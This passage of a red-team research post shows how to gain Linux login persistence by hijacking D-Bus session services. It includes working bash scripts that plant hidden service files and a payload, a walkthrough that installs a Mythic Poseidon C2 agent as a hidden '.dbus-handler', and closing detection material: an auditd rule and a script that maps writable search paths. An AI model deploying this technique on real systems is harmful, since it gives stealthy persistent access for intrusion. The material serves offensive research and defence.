org.gnome.SettingsDaemon.A11ySettings
org.gnome.SettingsDaemon.Datetime
org.gnome.SettingsDaemon.Housekeeping
org.gnome.SettingsDaemon.Keyboard
org.gnome.SettingsDaemon.MediaKeys
org.gnome.SettingsDaemon.PrintNotifications
org.gnome.SettingsDaemon.Rfkill
org.gnome.SettingsDaemon.ScreensaverProxy
org.gnome.SettingsDaemon.Sharing
org.gnome.SettingsDaemon.Smartcard
org.gnome.SettingsDaemon.Sound
org.gnome.SettingsDaemon.XSettings
org.gnome.Shell
org.gnome.Shell.AudioDeviceSelection
org.gnome.Shell.Extensions
org.gnome.Shell.HotplugSniffer
org.gnome.Shell.Introspect
org.gnome.Shell.Portal
org.gnome.Shell.ScreenShield
org.gnome.Shell.Screenshot
org.gnome.Shell.Wacom.PadOsd
org.gnome.Terminal
org.gnome.TextEditor
org.gnome.baobab
org.gnome.clocks
org.gnome.evince.Daemon
org.gnome.evolution.dataserver.UserPrompter0
org.gnome.font-viewer
org.gnome.keyring
org.gnome.keyring.PrivatePrompter
org.gnome.keyring.SystemPrompter
org.gnome.seahorse.Application
org.gtk.GLib.PACRunner
org.gtk.MountOperationHandler
org.gtk.Notifications
org.gtk.vfs.mountpoint_45413
org.kde.StatusNotifierWatcher)
# Create service files for each service
for SERVICE in "${SERVICES[@]}"; do
# File can be called anything but must end with .service
cat > "$DBUS_DIR/.$SERVICE.service" << EOL
[D-BUS Service]
Name=$SERVICE
Exec=$DBUS_DIR/.persistence_payload.sh "$SERVICE"
EOL
echo "Created persistence for $SERVICE"
done
echo "Service persistence installed for all services. Check $HOME/poc.log after reboot."
After collecting data from logging out and back in a few times, the following services were activated consistently during the login process.
Service Name | Description |
---|---|
org.freedesktop.DBus | Core message bus service that allows applications to communicate with each other |
org.freedesktop.portal.Documents | Manages document access and permissions for sandboxed applications |
org.gnome.SessionManager | Controls GNOME desktop session including startup, shutdown, and application lifecycle |
org.gtk.vfs.Daemon | Provides virtual filesystem functionality for accessing various storage types |
ca.desrt.dconf | Handles storage and retrieval of application settings and configurations |
org.freedesktop.FileManager1 | Offers API for applications to interact with the file manager |
org.freedesktop.Notifications | Manages desktop notifications from various applications |
org.freedesktop.impl.portal.PermissionStore | Stores and manages application permissions |
org.freedesktop.portal.Desktop | Provides desktop integration for sandboxed applications |
org.freedesktop.portal.IBus | Handles input method integration for text entry |
org.gnome.ScreenSaver | Controls screen locking and screen saver functionality |
org.gnome.SettingsDaemon.Color | Manages color profiles and calibration |
org.gnome.SettingsDaemon.Power | Handles power management settings and behaviors |
org.gnome.SettingsDaemon.Wacom | Provides support for Wacom tablet devices |
org.gnome.Shell.CalendarServer | Manages calendar data and events for the GNOME shell |
org.gnome.Shell.Notifications | Handles shell-specific notification processing |
org.gnome.Shell.Screencast | Provides screen recording functionality |
org.gnome.evolution.dataserver.Sources5 | Manages data sources for Evolution PIM applications |
org.gtk.Settings | Handles GTK-specific settings |
org.gtk.vfs.AfcVolumeMonitor | Monitors iOS devices via AFC protocol |
org.gtk.vfs.GPhoto2VolumeMonitor | Monitors digital cameras via GPhoto2 |
org.gtk.vfs.GoaVolumeMonitor | Monitors GNOME Online Accounts storage |
org.gtk.vfs.MTPVolumeMonitor | Monitors media devices using MTP protocol |
org.gtk.vfs.Metadata | Manages filesystem metadata |
org.gtk.vfs.UDisks2VolumeMonitor | Monitors storage devices via UDisks2 |
org.freedesktop.impl.portal.desktop.gnome | GNOME implementation of desktop portals |
org.freedesktop.impl.portal.desktop.gtk | GTK implementation of desktop portals |
org.gnome.OnlineAccounts | Manages online account credentials and connections |
org.gnome.evolution.dataserver.Calendar8 | Provides calendar data services |
org.gnome.Identity | Manages user identity information |
org.gnome.evolution.dataserver.AddressBook10 | Provides contact management services |
Theoretically, each of these are candidates for service path
hijacking but the more “common” the service, the better the chance of it
activating upon user login. From testing,
org.gnome.SessionManager
seems to work consistently,
although many others do as well.
Let’s create a bash script that automates each step of the above
proof of concept, but for the org.gnome.SessionManager
service.
#!/bin/bash
# D-Bus Service Hijacking Proof Of Concept
# Where to write the D-Bus configuration file to.
DBUS_DIR="$HOME/.local/share/dbus-1/services"
# The service we will hijack.
# Other hijacking candidates include: org.gtk.Settings
# org.gtk.vfs.Daemon
# org.gtk.vfs.GoaVolumeMonitor
# org.gtk.vfs.UDisks2VolumeMonitor
# etc....
SERVICE="org.gnome.SessionManager"
# Creates ~/.local/share/dbus-1/services/.persistence_payload.sh
# ~/.local/share/dbus-1/services/.dbus.service
run_default() {
# Create the $DBUS_DIR directory if it does not exist
mkdir -p "$DBUS_DIR"
# Create a hidden payload script
cat > "$DBUS_DIR/.persistence_payload.sh" << 'EOL'
#!/bin/bash
LOG_FILE="$HOME/poc.log"
mkdir -p "$(dirname "$LOG_FILE")"
SVC="${SERVICE}" # This will expand the current value of SERVICE
echo "[$(date)] Persistence activated via $SVC" >> "$LOG_FILE"
# Execute original binary if provided
[ -n "$2" ] && [ -x "$2" ] && "$2" "$@" &
# Keep the process alive
while true; do sleep 5; done
EOL
# Make the payload executable
chmod +x "$DBUS_DIR/.persistence_payload.sh"
# Create the service file for $SERVICE
cat > "$DBUS_DIR/.$SERVICE.service" << EOL
[D-BUS Service]
Name=$SERVICE
Exec=$DBUS_DIR/.persistence_payload.sh "$SERVICE"
EOL
echo "Created persistence for $SERVICE"
ls -lah "$DBUS_DIR"
echo "Service persistence installed."
}
run_cleanup() {
rm -f "$DBUS_DIR"/.*service
rm -f "$DBUS_DIR"/.*.sh
echo "Removed all files from $DBUS_DIR"
}
# Run ./poc.sh --cleanup to remove service config and payload
if [[ "$1" == "--cleanup" ]]; then
run_cleanup
else
run_default
fi
After running the proof of concept, we should be left with two files:
➜ ~ ./final.sh
Created persistence for org.gnome.SessionManager
total 24K
drwxrwxr-x 2 graham graham 12K Apr 21 21:01 .
drwxrwxr-x 3 graham graham 4.0K Apr 4 11:06 ..
-rw-rw-r-- 1 graham graham 144 Apr 21 21:01 .org.gnome.SessionManager.service
-rwxrwxr-x 1 graham graham 334 Apr 21 21:01 .persistence_payload.sh
Service persistence installed.
➜ ~ ./final.sh --cleanup
Removed all files from /home/graham/.local/share/dbus-1/services
This dbus-poc.sh
script creates two files:
- The configuration file loaded at service activation
- The payload handler that will execute our custom code.
After logging out and back in, we can see that poc.log
exists in the home directory.
C2 Persistence with Mythic
Finally, let’s utilize this technique to create a callback to our Mythic C2 server each time a user logs in. The scenario we’re emulating is a red team targeting a mature organization with developers who utilize Linux VMs for development. To save on resource costs, the Linux machine is shut down each night. After getting initial access, the red team is attempting to maintain persistence on the user’s VM before the user logs out and the instance is shut down.
The first step is to generate a mythic payload using your favorite C2 agent. In this case, the Go-based Linux agent Poseidon using an HTTP profile.
After generating a payload and uploading it to the target machine, we
can store it in whatever sneaky way you wish. For this, I’ll just be
placing it in
~/.local/share/dbus-1/services/.dbus-handler
.
Next, we need to create the malicious D-Bus service configuration
file in
~/.local/share/dbus-1/services/org.gnome.SessionManager.service
that will execute our payload when the user logs in.
# Create a D-Bus service configuration file for org.gnome.SessionManager.service
# This will run .dbus-handler (our Poseidon agent)
cat << EOF > ~/.local/share/dbus-1/services/.org.gnome.SessionManager.service
[D-BUS Service]
Name=org.gnome.SessionManager
Exec=/home/ubuntu/.local/share/dbus-1/services/.dbus-handler "org.gnome.SessionManager"
EOF
ubuntu@dbus-ubuntu-2404:~/.local/share/dbus-1/services$ ls -lah
total 8.7M
drwxrwxr-x 2 ubuntu ubuntu 4.0K Apr 22 20:44 .
drwxrwxr-x 3 ubuntu ubuntu 4.0K Apr 3 20:41 ..
-rwxrwxr-x 1 ubuntu ubuntu 8.7M Apr 22 20:28 .dbus-handler
-rw-rw-r-- 1 ubuntu ubuntu 134 Apr 22 20:44 .org.gnome.SessionManager.service
When the user logs back in the next time, our
dbus-handler
Poseidon agent will execute, giving us a
callback in Mythic.

Taking a look at the process listing confirms the beacon
.dbus-handler
is running as PID 1468
.
ubuntu 1411 0.6 0.3 20956 12544 ? Ss 20:33 0:00 /usr/lib/systemd/systemd --user
ubuntu 1415 0.0 0.0 21456 3596 ? S 20:33 0:00 \_ (sd-pam)
ubuntu 1431 0.0 0.2 112968 11648 ? S<sl 20:33 0:00 \_ /usr/bin/pipewire
ubuntu 1433 0.0 0.1 97736 5632 ? Ssl 20:33 0:00 \_ /usr/bin/pipewire -c filter-chain.conf
ubuntu 1436 0.0 0.3 404980 15744 ? S<sl 20:33 0:00 \_ /usr/bin/wireplumber
ubuntu 1444 0.0 0.2 109792 11008 ? S<sl 20:33 0:00 \_ /usr/bin/pipewire-pulse
ubuntu 1445 0.4 0.1 10720 6272 ? Ss 20:33 0:00 \_ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
ubuntu 1446 0.0 0.2 316508 10112 ? SLsl 20:33 0:00 \_ /usr/bin/gnome-keyring-daemon --foreground --components=pkcs11,secrets --control-directory=/run/user/1000/keyring
ubuntu 1468 1.6 0.3 1602640 12672 ? Sl 20:33 0:00 \_ /home/ubuntu/.local/share/dbus-1/services/dbus-handler org.gnome.SessionManager
Detection
Your standard persistence detection mechanisms apply here. A quick and easy rule to place a watch on a user’s directory:
-w /home/ubuntu/.local/share/dbus-1/services/ -p wa -k user_dbus_creation
This (generic) watch will log any files being created or modified in
/home/ubuntu/.local/share/dbus-1/services
.
ubuntu@dbus-ubuntu-2404:~$ sudo ausearch -k user_dbus_creation
time->Tue Apr 22 22:07:55 2025
type=PROCTITLE msg=audit(1745359675.263:554): proctitle=2F62696E2F62617368002E2F706F632E7368
type=PATH msg=audit(1745359675.263:554): item=1 name="/home/ubuntu/.local/share/dbus-1/services/.persistence_payload.sh" inode=516205 dev=08:02 mode=0100664 ouid=1000 ogid=1000 rdev=00:00 nametype=CREATE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1745359675.263:554): item=0 name="/home/ubuntu/.local/share/dbus-1/services/" inode=511823 dev=08:02 mode=040775 ouid=1000 ogid=1000 rdev=00:00 nametype=PARENT cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1745359675.263:554): cwd="/home/ubuntu/final"
type=SYSCALL msg=audit(1745359675.263:554): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=608bc80ed000 a2=241 a3=1b6 items=2 ppid=4243 pid=4245 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=7 comm="poc.sh" exe="/usr/bin/bash" subj=unconfined key="user_dbus_creation"
----
time->Tue Apr 22 22:07:55 2025
type=PROCTITLE msg=audit(1745359675.265:555): proctitle=63686D6F64002B78002F686F6D652F7562756E74752F2E6C6F63616C2F73686172652F646275732D312F73657276696365732F2E70657273697374656E63655F7061796C6F61642E7368
type=PATH msg=audit(1745359675.265:555): item=0 name="/home/ubuntu/.local/share/dbus-1/services/.persistence_payload.sh" inode=516205 dev=08:02 mode=0100664 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1745359675.265:555): cwd="/home/ubuntu/final"
type=SYSCALL msg=audit(1745359675.265:555): arch=c000003e syscall=268 success=yes exit=0 a0=ffffff9c a1=648cfc2e04d0 a2=1fd a3=0 items=1 ppid=4243 pid=4246 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=7 comm="chmod" exe="/usr/bin/chmod" subj=unconfined key="user_dbus_creation"
----
time->Tue Apr 22 22:07:55 2025
type=PROCTITLE msg=audit(1745359675.265:556): proctitle=2F62696E2F62617368002E2F706F632E7368
type=PATH msg=audit(1745359675.265:556): item=1 name="/home/ubuntu/.local/share/dbus-1/services/.org.gnome.SessionManager.service" inode=516206 dev=08:02 mode=0100664 ouid=1000 ogid=1000 rdev=00:00 nametype=CREATE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1745359675.265:556): item=0 name="/home/ubuntu/.local/share/dbus-1/services/" inode=511823 dev=08:02 mode=040775 ouid=1000 ogid=1000 rdev=00:00 nametype=PARENT cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1745359675.265:556): cwd="/home/ubuntu/final"
type=SYSCALL msg=audit(1745359675.265:556): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=608bc80f2220 a2=241 a3=1b6 items=2 ppid=4243 pid=4247 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=7 comm="poc.sh" exe="/usr/bin/bash" subj=unconfined key="user_dbus_creation"
Ideally, every path in the the D-Bus search path should be watched for malicious service files being created. The search path changing depending on environment variables can be annoying. To deal with this, the following script will evaluate a system for directories in the D-Bus search path that are writable by a user and print them to the screen. That information can be used to inform what directories to create detections for (Auditd or otherwise).
#!/bin/bash
# Function to normalize path (remove trailing slash)
normalize_path() {
echo "${1%/}"
}
# ANSI color codes
RED='\033[0;31m'
NC='\033[0m' # No Color
# Function to check if user can write to a directory or its parent
check_path_write_access() {
local dir="$1"
local priority="$2"
if [ -d "$dir" ]; then
# Directory exists
if [ -w "$dir" ]; then
echo -e "${priority}. ${RED}$dir${NC} (exists, writable)"
else
echo -e "${priority}. $dir (exists, not writable)"
fi
else
# Directory doesn't exist, check parent
local parent_dir=$(dirname "$dir")
if [ -d "$parent_dir" ]; then
if [ -w "$parent_dir" ]; then
echo -e "${priority}. ${RED}$dir${NC} (doesn't exist, can be created)"
else
echo -e "${priority}. $dir (doesn't exist, parent not writable)"
fi
else
echo -e "${priority}. $dir (doesn't exist, parent also doesn't exist)"
fi
fi
}
# Path definitions
echo "D-Bus service file search paths:"
# Path 1
RUNTIME_PATH=""
if [ -n "$XDG_RUNTIME_DIR" ]; then
RUNTIME_PATH="$(normalize_path "$XDG_RUNTIME_DIR")/dbus-1/services"
echo "1. $RUNTIME_PATH"
fi
# Path 2
XDG_DATA_HOME="${XDG_DATA_HOME:-$HOME/.local/share}"
DATA_HOME_PATH="$(normalize_path "$XDG_DATA_HOME")/dbus-1/services"
echo "2. $DATA_HOME_PATH"
# Path 3
XDG_DATA_DIRS="${XDG_DATA_DIRS:-/usr/local/share:/usr/share}"
echo "3. Directories from XDG_DATA_DIRS:"
IFS=':'
data_dirs_paths=()
for dir in $XDG_DATA_DIRS; do
normalized_dir="$(normalize_path "$dir")/dbus-1/services"
echo " $normalized_dir"
data_dirs_paths+=("$normalized_dir")
done
# Path 4
USR_SHARE_PATH="/usr/share/dbus-1/services"
echo "4. $USR_SHARE_PATH"
# Check all paths with priorities and write permissions
echo -e "\nAll paths with their priorities and write permissions:"
# Check path 1
if [ -n "$XDG_RUNTIME_DIR" ]; then
check_path_write_access "$RUNTIME_PATH" 1
fi
# Check path 2
check_path_write_access "$DATA_HOME_PATH" 2
# Check paths from XDG_DATA_DIRS (path 3)
sub_priority=0
for path in "${data_dirs_paths[@]}"; do
sub_priority=$((sub_priority + 1))
priority_string="3.$sub_priority"
check_path_write_access "$path" "$priority_string"
done
# Check path 4 if not already listed in XDG_DATA_DIRS
if ! [[ " ${data_dirs_paths[*]} " =~ " $USR_SHARE_PATH " ]]; then
check_path_write_access "$USR_SHARE_PATH" 4
fi
# Summary section - provide recommendations
echo -e "\nRecommendations:"
# Find highest priority writable path
if [ -n "$XDG_RUNTIME_DIR" ]; then
parent_runtime=$(dirname "$RUNTIME_PATH")
if [ -d "$RUNTIME_PATH" ] && [ -w "$RUNTIME_PATH" ]; then
echo -e "- Highest priority writable path: ${RED}$RUNTIME_PATH${NC} (priority 1)"
echo " Note: This path is temporary and cleared on logout/reboot"
elif [ -d "$parent_runtime" ] && [ -w "$parent_runtime" ]; then
echo -e "- Highest priority path that can be created: ${RED}$RUNTIME_PATH${NC} (priority 1)"
echo " Note: This path is temporary and cleared on logout/reboot"
elif [ -d "$DATA_HOME_PATH" ] && [ -w "$DATA_HOME_PATH" ]; then
echo -e "- Highest priority writable path: ${RED}$DATA_HOME_PATH${NC} (priority 2)"
echo " Note: This path persists across reboots"
else
parent_data_home=$(dirname "$DATA_HOME_PATH")
if [ -d "$parent_data_home" ] && [ -w "$parent_data_home" ]; then
echo -e "- Highest priority path that can be created: ${RED}$DATA_HOME_PATH${NC} (priority 2)"
echo " Note: This path persists across reboots"
fi
fi
fi
echo -e "- For persistent services that survive reboots, use: ${RED}$DATA_HOME_PATH${NC}"
echo -e "- For temporary services for the current session only, use: ${RED}$RUNTIME_PATH${NC}"
echo "- After adding a service file, you may need to run: dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ReloadConfig"
D-Bus service file search paths:
1. /run/user/1000/dbus-1/services
2. /home/graham/.local/share/dbus-1/services
3. Directories from XDG_DATA_DIRS:
/home/graham/.local/share/flatpak/exports/share/dbus-1/services
/var/lib/flatpak/exports/share/dbus-1/services
/usr/local/share/dbus-1/services
/usr/share/dbus-1/services
/var/lib/snapd/desktop/dbus-1/services
/snap/ghostty/37/usr/share/dbus-1/services
4. /usr/share/dbus-1/services
All paths with their priorities and write permissions:
1. /run/user/1000/dbus-1/services (exists, writable)
2. /home/graham/.local/share/dbus-1/services (exists, writable)
3.1. /home/graham/.local/share/flatpak/exports/share/dbus-1/services (doesn't exist, can be created)
3.2. /var/lib/flatpak/exports/share/dbus-1/services (doesn't exist, parent also doesn't exist)
3.3. /usr/local/share/dbus-1/services (doesn't exist, parent also doesn't exist)
3.4. /usr/share/dbus-1/services (exists, not writable)
3.5. /var/lib/snapd/desktop/dbus-1/services (doesn't exist, parent also doesn't exist)
3.6. /snap/ghostty/37/usr/share/dbus-1/services (exists, not writable)
3. /usr/share/dbus-1/services (exists, not writable)
Recommendations:
- Highest priority writable path: /run/user/1000/dbus-1/services (priority 1)
Note: This path is temporary and cleared on logout/reboot
- For persistent services that survive reboots, use: /home/graham/.local/share/dbus-1/services
- For temporary services for the current session only, use: /run/user/1000/dbus-1/services
- After adding a service file, you may need to run: dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ReloadConfig
Wrapping up
It was fun digging into how D-Bus works for this research, the more I explored the more questions I had. I’m sure there are other fun areas to explore within the D-Bus system. Don’t forget to thank the D-Bus driver on your way out.
References
Some references I found useful during my travels.